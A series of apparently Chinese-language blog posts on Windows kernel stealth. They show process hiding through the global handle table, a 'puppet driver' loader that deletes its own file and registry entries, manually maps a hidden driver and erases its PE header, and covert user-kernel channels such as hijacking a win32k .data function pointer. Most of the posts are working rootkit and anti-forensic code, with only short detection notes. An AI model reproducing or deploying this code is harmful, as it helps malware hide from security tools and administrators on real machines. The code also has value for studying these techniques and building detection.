    _int64 __fastcall ExDestroyHandle(__int64 a1, __int64 a2, __int64 a3)
    {
      unsigned int v6; // ebx
    
      if ( *(_QWORD *)(a1 + 96) )
        ExpUpdateDebugInfo(a1, KeGetCurrentThread(), a2, 2i64);
      v6 = ExSweepSingleHandle(a1, a3);
      ExpFreeHandleTableEntry(a1, a2, a3);
      return v6;
    }

     

    	if (instance->fn_get_os_build_number() == 7600 || instance->fn_get_os_build_number() == 7601) table_code = ((PHANDLE_TABLE_W7)table)->TableCode;
    	else table_code = table->TableCode;
    
    	auto level = table_code & 3;
    
    	if (level == 1) {
    
    		return (PHANDLE_TABLE_ENTRY)(*(uint64_t*)(table_code - 1 + 8 * (u_handle >> 10)) + 4 * (u_handle & 0X3FF));
    	}
    	else if (level == 2) {
    
    		return (PHANDLE_TABLE_ENTRY)(*(uint64_t*)(*(uint64_t*)(table_code - 2 + 8 * (u_handle >> 19)) + 8 * (u_handle >> 10 & 0X1FF)) + 4 * (u_handle & 0x3ff));
    
    	}
    	else {
    
    		return (PHANDLE_TABLE_ENTRY)(table_code + 4 * (u_handle & 0x3ff));
    
    	}

    注:高版本对全局句柄表有加密

    实验:

    隐藏前DebugView 8404

    进程隐藏对抗

    隐藏后

    进程隐藏对抗

    需要注意,关闭进程前需要还原全局句柄表,不然会蓝屏;

    其次在高版本系统上PG增加了对隐藏进程的检测,有概率触发蓝屏,不过没那么快,运气好能挺好几个小时;

    具体的隐藏进程完整代码可以参考一份开源的:https://github.com/Oxygen1a1/HideProcess

    那么问题来了,如果恶意软件隐藏自己的进程我们如何查询呢?

    思考:进程是给用户看的,CPU不认识进程,代码也是跑在线程上面的 ,最重要的是cpu线程的调度是基于某些链表进行调度的,如果把cpu调度链表也断了,进程也就跑不起来了,可谓是真正实现了无痕进程隐藏;其次内核中有很多链表都能回溯到进程信息。

    本人采用的方法是通过遍历枚举线程去回溯到进程,在 _ETHREAD中_CLIENT_ID储存了当前线程所属的进程id

    //0x10 bytes (sizeof)
    struct _CLIENT_ID
    {
        VOID* UniqueProcess;                                                    //0x0
        VOID* UniqueThread;                                                     //0x8
    };

    查询恶意隐藏进程思路:正常调用API遍历进程并存储表A,暴力枚举线程回溯进程并存储表B,如果B中的进程在A中找不到基本可以判断进程进行了隐藏。

    这里为了省事和便于观看就简写代码:

    	PETHREAD Thread = NULL;
    	NTSTATUS status;;
      //直接假设句柄表是三级,问就是图省事
    	for (size_t i = 0; i < 1024*1024*512; i++)
    	{
    		status=PsLookupThreadByThreadId(i, &Thread);
    		if (NT_SUCCESS(status))
    		{
    
    			ULONG64 UniqueProcess = *(ULONG64*)((PUCHAR)Thread + 0x4c8);
    		//	DbgPrintEx(77, 0, "%d\r\n", UniqueProcess);
    			if (UniqueProcess == 8404)
    			{
    				DbgPrintEx(77, 0, "找到隐藏的进程 %d\r\n", UniqueProcess);
    				break;
    
    			}
    		}
    
    	  }

    进程隐藏对抗

    总的来说如果对抗同在内核层隐藏进程什么用没有,有机会下期更新 进程伪装对抗

  • 无”痕”加载驱动模块之傀儡驱动 (上)

    无”痕”加载驱动模块之傀儡驱动 (上)

    驱动加载与ark遍历原理

    正常通过服务加载的驱动会显示在ark工具的列表里

    CreateServiceA
    OpenSCManagerA
    StartServiceA
    ControlService
    DeleteService

    无

    无

    原理是通过ZwQuerySystemInformation 或者驱动入口参数的_DRIVER_OBJECT结构中的双向循环链表遍历到

    ULONG EnumKernel(PUCHAR buffer)
    {
        size_t count = 0;
    
        NTSTATUS nStatus;
        ULONG retLength;  //缓冲区长度
        PVOID pProcInfo;
        PRTL_PROCESS_MODULE_INFORMATION pProcIndex;
        //调用函数,获取进程信息
        nStatus = ZwQuerySystemInformation(
            SystemModuleInformation,   
            NULL,
            0,
            &retLength  //返回的长度,即为我们需要申请的缓冲区的长度
        );
        if (!retLength)
        {
            DbgPrint("ZwQuerySystemInformation error!\n");
            return nStatus;
        }
        DbgPrint("retLength =  %u\n", retLength);
        //申请空间
        pProcInfo = ExAllocatePool(NonPagedPool, retLength);
        if (!pProcInfo)
        {
            DbgPrint("ExAllocatePool error!\n");
            return STATUS_UNSUCCESSFUL;
        }
        nStatus = ZwQuerySystemInformation(
            SystemModuleInformation,  
            pProcInfo,
            retLength,
            &retLength
        );
        if (NT_SUCCESS(nStatus)/*STATUS_INFO_LENGTH_MISMATCH == nStatus*/)
    
        {
            pProcIndex = ((PRTL_PROCESS_MODULES)pProcInfo)->Modules;
    
    
    
            for (size_t i = 0; i < ((PRTL_PROCESS_MODULES)pProcInfo)->NumberOfModules; i++)
            {
              
    
                    LOG("加载顺序 %d  名字 %s  地址 %p 大小 %p", pProcIndex[i].LoadOrderIndex, pProcIndex[i].FullPathName, pProcIndex[i].ImageBase,pProcIndex[i].ImageSize);
            }
        }
        else
        {
            DbgPrint("error code : %u!!!\n", nStatus);
        }
        ExFreePool(pProcInfo);
    
        // DbgBreakPoint();
        return count;
    }
    typedef struct _DRIVER_OBJECT {
        CSHORT Type;
        CSHORT Size;
        PDEVICE_OBJECT DeviceObject;	// DeviceObject 每个驱动程序会有一个或多个设备对象。其中
    									// 每个设备对象都有一个指针指向下一个驱动对象,最后一个设备对象指向空。此处的DeviceObject
    									// 指向驱动对象的第一个设备对象。通过DeviceObject,就可以遍历驱动对象里的所有
    									// 设备对象。设备对象是由程序员自己创建的,而非操作系统完成,在驱动被卸载的时候,遍历每个
    									// 设备对象,并将其删除
    									
        ULONG Flags;
        PVOID DriverStart;
        ULONG DriverSize;
        PVOID DriverSection;
        PDRIVER_EXTENSION DriverExtension;
    	
        UNICODE_STRING DriverName;		 // 记录的是驱动程序的名字。这里用UNICODE字符串记录,该字符串一般为\Driver\[驱动程序名称]。
    	
        PUNICODE_STRING HardwareDatabase;	// 这里记录的是设备的硬件数据库键名,这里同样用UNICODE字符串记录。该字符一般为
    										// REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM。
    										
        PFAST_IO_DISPATCH FastIoDispatch;	// 文件驱动中用到的派遣函数。
    	
        PDRIVER_INITIALIZE DriverInit;
    	
        PDRIVER_STARTIO DriverStartIo; // 记录StartIO例程的函数地址,用户串行化操作。
    	
        PDRIVER_UNLOAD DriverUnload; // 指定驱动卸载时所用的回调函数地址。
    	
        PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];// MajorFunction域记录的是一个函数指针数组,也就是MajorFunction是
    																// 一个数组,数组中的每个成员记录着一个指针,每一个指针指向的是一个函数。
    																// 这个函数就是处理IRP的派遣函数。
     
    } DRIVER_OBJECT;
    typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;

    无模块技术介绍

    而恶意驱动模块为了躲避ark的扫描常常会使用无模块加载技术,使其无法通过正常手段查询。

    下面介绍两种常见的无模块加载技术:

    1.傀儡驱动,通过傀儡驱动内存拉伸真正的驱动,并清理傀儡驱动痕迹。

    2.漏驱利用,通过白名单驱动的漏洞利用来加载我们自己的驱动,比较著名的项目为Kdmapper。

    傀儡驱动加载原理

    本文先介绍第一种技术:

    正常我们加载驱动会在DriverEntry里返回STATUS_SUCCESS表示加载成功

    NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {
    
    	pDriverObject->DriverUnload = DriverUnload;
    	DbgPrintEx(77, 0, "你好\r\n");
    
    
    
    
    
    	return STATUS_SUCCESS;
    }

    如果我们返回STATUS_UNSUCCESSFUL,驱动会显示加载失败

    NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {
    
    	pDriverObject->DriverUnload = DriverUnload;
    	DbgPrintEx(77, 0, "你好\r\n");
    
    
    	return STATUS_UNSUCCESSFUL;
    }

    运行驱动,我们发现显示驱动加载失败,但是盲点来了,我们发现夹在在中间的代码已经被执行完毕

    无

    那么我们将入口点返回STATUS_UNSUCCESSFUL的驱动作为傀儡驱动,在DriverEntry和STATUS_UNSUCCESSFUL中间执行清理傀儡驱动加载痕迹和内存拉伸功能驱动的代码即可。

    第一步删除自身驱动文件

    	//删除自身
    	PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;
    	DeleteFile(&pLdr->FullDllName);
    
    
      BOOLEAN DeleteFile(PUNICODE_STRING FilePath)
    {
    	NTSTATUS ntstatus = NULL;
    	HANDLE hFile = NULL;
    	OBJECT_ATTRIBUTES obj = { 0 };
    	IO_STATUS_BLOCK IostaBlc = { 0 };
    	PFILE_OBJECT pFileObj = NULL;
    
    	//初始化对象属性
    	InitializeObjectAttributes(&obj, FilePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    	
    	//打开文件获取句柄
    	ntstatus = NtCreateFile(
    		&hFile,
    		FILE_READ_ACCESS,
    		&obj,
    		&IostaBlc,
    		NULL,
    		FILE_ATTRIBUTE_NORMAL,
    		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 
    		FILE_OPEN,
    		FILE_NON_DIRECTORY_FILE,
    		NULL,
    		NULL
    	);
    
    	if (!NT_SUCCESS(ntstatus))
    	{
    		return FALSE;
    	}
    
    	//获取文件内核对象
    	ntstatus = ObReferenceObjectByHandle(
    		hFile,
    		FILE_ANY_ACCESS,
    		*IoFileObjectType,
    		KernelMode,
    		&pFileObj,
    		NULL
    	);
    	
    	if (!NT_SUCCESS(ntstatus) || pFileObj == NULL)
    	{
    
    		return FALSE;
    	}
    
    	
    
    	//强制删除文件
    	pFileObj->DeletePending = 0;
    	pFileObj->DeleteAccess  = 1;
    	//pFileObj->SharedDelete  = 1;
    	pFileObj->SectionObjectPointer->DataSectionObject  = NULL;
    	pFileObj->SectionObjectPointer->ImageSectionObject = NULL;
    	//pFileObj->SectionObjectPointer->SharedCacheMap	   = NULL;
    	MmFlushImageSection(pFileObj->SectionObjectPointer, MmFlushForDelete);
    
    	ntstatus = ZwDeleteFile(&obj);
    	if (pFileObj != NULL)
    	{
    		ObDereferenceObject(pFileObj);
    	}
    	ZwClose(hFile);
    	return NT_SUCCESS(ntstatus) ? TRUE : FALSE;
    }

    第二步删除注册表,要从内层向外层删,不然会留下痕迹

    BOOLEAN DeleteRegEditEntry(PUNICODE_STRING RegPath)
    {
    	HANDLE hKey = NULL;
    	HANDLE hKey1 = NULL;
    	OBJECT_ATTRIBUTES obj = { 0 };
    	OBJECT_ATTRIBUTES obj1 = { 0 };
    	NTSTATUS ntstatus = NULL;
    	PWCHAR szPanth[0x256] = { 0 };
    	UNICODE_STRING uPath = { 0 };
    
    
    	//删除子项
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"DisplayName");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"ErrorControl");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"ImagePath");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"Start");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"Type");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"WOW64");
    
    	//寻找内层
    	RtlStringCbPrintfW(szPanth, 0x256, L"%ws\\Enum", RegPath->Buffer);
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"Count");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"INITSTARTFAILED");
    	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"NextInstance");
    
    	//删除内层
    	RtlInitUnicodeString(&uPath, szPanth);
    	InitializeObjectAttributes(&obj1, &uPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
    	ntstatus = ZwOpenKey(&hKey1, KEY_ALL_ACCESS, &obj1);
    	if (!NT_SUCCESS(ntstatus))
    	{
    		return FALSE;
    	}
    	ZwDeleteKey(hKey1);
    	ZwClose(hKey1);
    
    	//删除表项
    	InitializeObjectAttributes(&obj, RegPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
    	ntstatus = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &obj);
    	if (!NT_SUCCESS(ntstatus))
    	{
    		return FALSE;
    	}
    	ZwDeleteKey(hKey);
    	ZwClose(hKey);
    
    	return TRUE;
    }

    第三步拉伸功能驱动文件到内存状态

    PUCHAR FileBufferToImageBuffer()
    {
    	//File ->image
    	PUCHAR pBuffer = (PUCHAR)FileData;
    	PUCHAR pImageBuffer = NULL;
    
    
    	//定位结构
    	PIMAGE_DOS_HEADER		pDos = (PIMAGE_DOS_HEADER)pBuffer;
    	PIMAGE_NT_HEADERS		pNth = (PIMAGE_NT_HEADERS)(pBuffer + pDos->e_lfanew);
    	PIMAGE_SECTION_HEADER	pSec =	IMAGE_FIRST_SECTION(pNth);
    
    	//申请内存
    	pImageBuffer = ExAllocatePool(NonPagedPool, pNth->OptionalHeader.SizeOfImage);
    	if (!pImageBuffer)
    	{
    		
    		return NULL;
    	}
    	// 清除内存并拷贝头节
    	memset(pImageBuffer, 0, pNth->OptionalHeader.SizeOfImage);
    	memcpy(pImageBuffer, pBuffer, pNth->OptionalHeader.SizeOfHeaders);
    
    	//拷贝节区
    	for (size_t i = 0; i < pNth->FileHeader.NumberOfSections; i++)
    	{
    		ULONG VirtualAddress = pSec[i].VirtualAddress;
    		ULONG SizeOfRawData = pSec[i].SizeOfRawData;
    		ULONG PointerToRawData = pSec[i].PointerToRawData;
    			if (pSec[i].SizeOfRawData != 0)
    			{
    				memcpy(
    					pImageBuffer + pSec[i].VirtualAddress,
    					pBuffer + pSec[i].PointerToRawData,
    					pSec[i].SizeOfRawData
    				);
    			}
    
    	}
    	return pImageBuffer;
    }

    第四步修复重定位表

    VOID RepairRelocation(PUCHAR pImageBuffer)
    {
    	
    
    	//定位结构
    	PIMAGE_DOS_HEADER		pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
    	//if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;	// 检查DOS头的有效性
    	PIMAGE_NT_HEADERS		pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
    	 
    	PIMAGE_BASE_RELOCATION  pRel = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    	if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress==0)
    	{
    		return ;
    	}
    
    	//遍历重定向
    	while (pRel->VirtualAddress && pRel->SizeOfBlock)
    	{
    		//VirtualAddress
    		//SizeOfBlock
    
    		ULONG_PTR	uRelEntry = (pRel->SizeOfBlock - 8) / 2;
    		PUSHORT		pRelEntry = (PUSHORT)((PUCHAR)pRel + 8);
    
    
    		for (size_t i = 0; i < uRelEntry; i++)
    		{
    			//判断标志 
    			if ((pRelEntry[i] >> 12 ) == IMAGE_REL_BASED_DIR64)
    			{
    				ULONG_PTR uLowOffset = pRelEntry[i] & 0XFFF;
    				ULONG_PTR* uRepairAddr = (ULONG_PTR*)(pImageBuffer + pRel->VirtualAddress + uLowOffset);
    				*uRepairAddr = *uRepairAddr  - pNth->OptionalHeader.ImageBase + pImageBuffer;
    			}
    
    
    		}
    
    
    		pRel = (PIMAGE_BASE_RELOCATION)((PUCHAR)pRel + pRel->SizeOfBlock);
    	}
    }

    第五步修复导入表

    VOID RepairImportData(PUCHAR pImageBuffer)
    {
    	//定位结构
    	PIMAGE_DOS_HEADER			pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
    	PIMAGE_NT_HEADERS			pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
    
    	PIMAGE_IMPORT_DESCRIPTOR		pImp = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    	if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0)
    	{
    		return;
    	}
    	//遍历导入
    	while (pImp->FirstThunk && pImp->OriginalFirstThunk)
    	{
    
    		PIMAGE_THUNK_DATA  pIAI = (PIMAGE_THUNK_DATA)(pImageBuffer + pImp->FirstThunk);
    		PIMAGE_THUNK_DATA  pINT = (PIMAGE_THUNK_DATA)(pImageBuffer + pImp->OriginalFirstThunk);
    		PUCHAR DLLName = (PUCHAR)(pImageBuffer + pImp->Name);
    		while (pINT->u1.AddressOfData && pIAI->u1.Function)
    		{
    			NTSTATUS st = NULL;
    			PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pImageBuffer);
    			ANSI_STRING aFunName = { 0 };
    			UNICODE_STRING uFunName = { 0 };
    			ULONG_PTR uFunAddr = 0;
    			RtlInitAnsiString(&aFunName, pName->Name);
    
    			if (_stricmp((DLLName),"ntoskrnl.exe") == 0 ||
    				_stricmp((DLLName),"ntkrnlpa.exe") == 0 ||
    				_stricmp((DLLName),"hal.exe") == 0		)
    			{
    
    				st = RtlAnsiStringToUnicodeString(&uFunName, &aFunName, TRUE);
    				if (!NT_SUCCESS(st))return;
    
    				uFunAddr = MmGetSystemRoutineAddress(&uFunName);
    
    				//释放内存
    				RtlFreeUnicodeString(&uFunName);
    
    			}
    			else
    			{
    		
    				PUCHAR pImageBase = 0;
    				pImageBase = GetModuleInfo((DLLName), NULL);
    				if (!pImageBase)
    				{
    					return;
    				}
    
    	
    			
    				uFunAddr = GetExportFunAddrByName(pImageBase, pName->Name);
    			}
    
    			if (!uFunAddr)
    			{
    				return;
    			}
    
    
    			//修改地址
    			pIAI->u1.Function = uFunAddr;
    
    
    
    			//指向下个
    			pIAI++;
    			pINT++;
    		}
    
    		pImp++;
    	}
    }

    第六步修正校验

    VOID RepairCookie(PUCHAR pImageBuffer)
    {
    	//定位结构
    	PIMAGE_DOS_HEADER			pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
    	PIMAGE_NT_HEADERS			pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
    
    	//获取配置
    	PIMAGE_LOAD_CONFIG_DIRECTORY pLod = (PIMAGE_LOAD_CONFIG_DIRECTORY)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress);
    
    	if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress == NULL)
    	{
    		return;
    	}
    
    	*(ULONG_PTR*)pLod->SecurityCookie += 10;
    }

    第七步执行功能驱动入口,并抹除功能驱动pe指纹

    VOID EntryCall(PUCHAR pImageBuffer)
    {
    
    	//定位结构
    	PIMAGE_DOS_HEADER			pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
    	PIMAGE_NT_HEADERS			pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
    
    	//获取入口
    	PDRIVER_INITIALIZE pEntry = (PDRIVER_INITIALIZE)(pImageBuffer + pNth->OptionalHeader.AddressOfEntryPoint);
    	if (pEntry)
    	{
    		NTSTATUS st = 	pEntry(NULL,NULL);
    		if (NT_SUCCESS(st))
    		{
    			
    			memset(pImageBuffer, 0x00, pNth->OptionalHeader.SizeOfHeaders);
    		}
    	}
    
    }

    测试环节

    功能驱动代码

    NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
    {
        DbgPrintEx(77, 0, "[功能驱动加载成功]\r\n");
    
        return STATUS_SUCCESS;
    }

    转换为二进制藏在傀儡驱动里

    无

    安装傀儡驱动

    无

    无

    发现傀儡驱动加载失败,并清理了自身,功能驱动正确加载。

    ark中无任何加载痕迹

    无

    总结

    傀儡驱动入口返回失败,删除自身->清理注册表->拉伸功能驱动->修复重定位->修复导入表->修复校验->Call入口

    当然这只是无痕驱动的雏形并不是真正的无痕驱动,还有很多痕迹需要清理,只是一个基本思想供大家举一反三。

    例如:云下放功能驱动加密文件不落地,利用网络传输到内存,拉伸时再动态解密。功能驱动使用懒惰导入,去导入表化,清理驱动卸载链表等

  • 隐蔽通讯常见种类介绍

    隐蔽通讯常见种类介绍

    正常通信流程:

    R3->符号链接->设备对象->驱动对象->驱动功能

    驱动通信实质上是设备通信

    设备是挂在驱动上的DeviceObject上面的

    正常IO通信

    R0:

    //创建设备名称
    UNICODE_STRING Devicename;
    RtlInitUnicodeString(&Devicename,L"\\Device\\MyDevice");
    
    //创建设备
    IoCreateDevice(
        pDriver,    //当前设备所属的驱动对象
        0,
        &Devicename,    //设备对象的名称
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &pDeviceObj    //设备对象指针
    );

    R3:

    CreateFileW(SYMBOL_LINK_NAME,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
    DeviceIoControl(g_Device,KillAPP,&pEprocess,sizeof(DWORD),&outBuffer,sizeof(DWORD),NULL,NULL))

     

     

    隐蔽通讯常见种类介绍

    隐蔽通信原理与常见种类

    正常的设备通信会被各种ark或其他工具遍历到

    winobj:https://learn.microsoft.com/zh-cn/sysinternals/downloads/winobj

    隐蔽通讯常见种类介绍

    devicetree.exe

    隐蔽通讯常见种类介绍

    其次通过无模块加载技术加载的驱动没有驱动对象,也无法创建正常的io通信。所以我们另寻通信方式。

    任何能从3环主动发起0环能接收到的API或方法都能作为通信方法,如果对通信的实时性没要求也可去掉“主动”一词

    常见隐蔽通信方式

    1.劫持io通信

    故名意思,去劫持系统白名单驱动的通信。

    在导入表有查看是否有建立IO通信的函数

    隐蔽通讯常见种类介绍

    隐蔽通讯常见种类介绍

    发现没有IRP_MJ_DEVICE_CONTROL我们可以给他增加一个来作为我们的通信

    2.minifilter端口

    FltCreateCommunicationPort
    FltCloseCommunicationPort
    通过回调函数的InputBuffer接受用户态的消息并通过OutputBuffer回复
    用户态通过FilterConnectCommunicationPort和FilterSendMessage通信

    3.共享内存

    3环申请一块内存,0环使用mdl映射

    3.注册表

    3环和内核都有可以读写注册表的函数,故而可以作为通信

     if (!WriteRegistryDword(HKEY_LOCAL_MACHINE, L"", L"oPid", GetCurrentProcessId())) { return false; }
        if (!WriteRegistryQword(HKEY_LOCAL_MACHINE, L"", L"oAddr", reinterpret_cast<DWORD_PTR>(req))) {
    InitializeObjectAttributes(&ObjectAttributes, &RegPath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    	Status = ZwOpenKey(&KeyHandle, KEY_READ, &ObjectAttributes);
    	if (!NT_SUCCESS(Status)) {
    		return Status;
    	}
    
    	KEY_VALUE_PARTIAL_INFORMATION KeyValueInfo;
    	Status = ZwQueryValueKey(KeyHandle, &AddrValueName, KeyValuePartialInformation, &KeyValueInfo, sizeof(KeyValueInfo) + sizeof(DWORD), &ResultLength);
    
    	if (NT_SUCCESS(Status)) {
    		if (KeyValueInfo.Type == REG_QWORD && KeyValueInfo.DataLength == sizeof(uintptr_t)) {
    			RtlCopyMemory(&Buffer, KeyValueInfo.Data, sizeof(uintptr_t));
    			oAddr = Buffer;
    		}
    		else {
    			Status = STATUS_INVALID_PARAMETER;
    		}
    	}
    
    	ZwClose(KeyHandle);

    4.文件

    同上3和0都有操作文件的函数

    5.套接字

    使用socket进行通信

    6.data ptr

    .data 是目前恶意程序最主流的通信方式,因为太多了,很难全部监控,如果找到的.data足够隐蔽,那么很难短时间内检测到。

    有很多内核函数中是函数指针的调用方式,而这些函数指针存在.data区,或者.rdata区,我们通过交互指针的方法,让函数执行到我们模块的函数中。

    _guard_dispatch_icall_fptr是Windows系统中与控制流防护(CFG)相关的关键函数指针,主要用于验证间接函数调用的合法性,我们可以搜索“_guard_dispatch_icall_fptr”来枚举可利用的指针。

    ntoskrnl.exe被PG和各大安全软件监控较为严重,我们可以去其他模块中寻找data ptr(写个脚本让ida去跑)

    File->Script file…

    隐蔽通讯常见种类介绍

    隐蔽通讯常见种类介绍

    隐蔽通讯常见种类介绍

    像这种NtUser开头的函数一般都可从3环调用到,并且可以发现具有可利用指针

    利用InterlockedExchangePointer函数交换指针

     const  PVOID win32k = system::get_kernel_modulebase(("win32k.sys"), &nSize);
    		 if (win32k) {
    			 nt_qword = system::search_kernel((uintptr_t)win32k, NT_QWORD_SIG, NT_QWORD_MASK);
    
    			 const uintptr_t nt_qword_deref = (uintptr_t)nt_qword + 7 + *(int*)((unsigned char*)nt_qword + 3);
    			 *(void**)&oNtOldFun = InterlockedExchangePointer((void**)nt_qword_deref, (void*)NtFun);
    
    	
    		 }

    我们只需要把一个参数当作结构体指针使用,并约定通信码,3环调用API填入指定参数即可完成通信,其他应用不知晓通信码,即可正确调用原API。

    		(LoadLibraryA)(("user32.dll"));
    		(LoadLibraryA)(("win32u.dll"));
    
    		const HMODULE win32u = (GetModuleHandleA)(("win32u.dll"));
    		if (!win32u)
    		{
    
    			return 0;
    		}
    
    
    		*(void**)&NtUserFun= GetProcAddress(win32u, ("函数名"));

    隐蔽通讯常见种类介绍

    检测方法

    内存与文件做对比,检测指针有效性,栈回溯地址是否在合法模块等等

    python脚本

    1765376842-find_data_ptr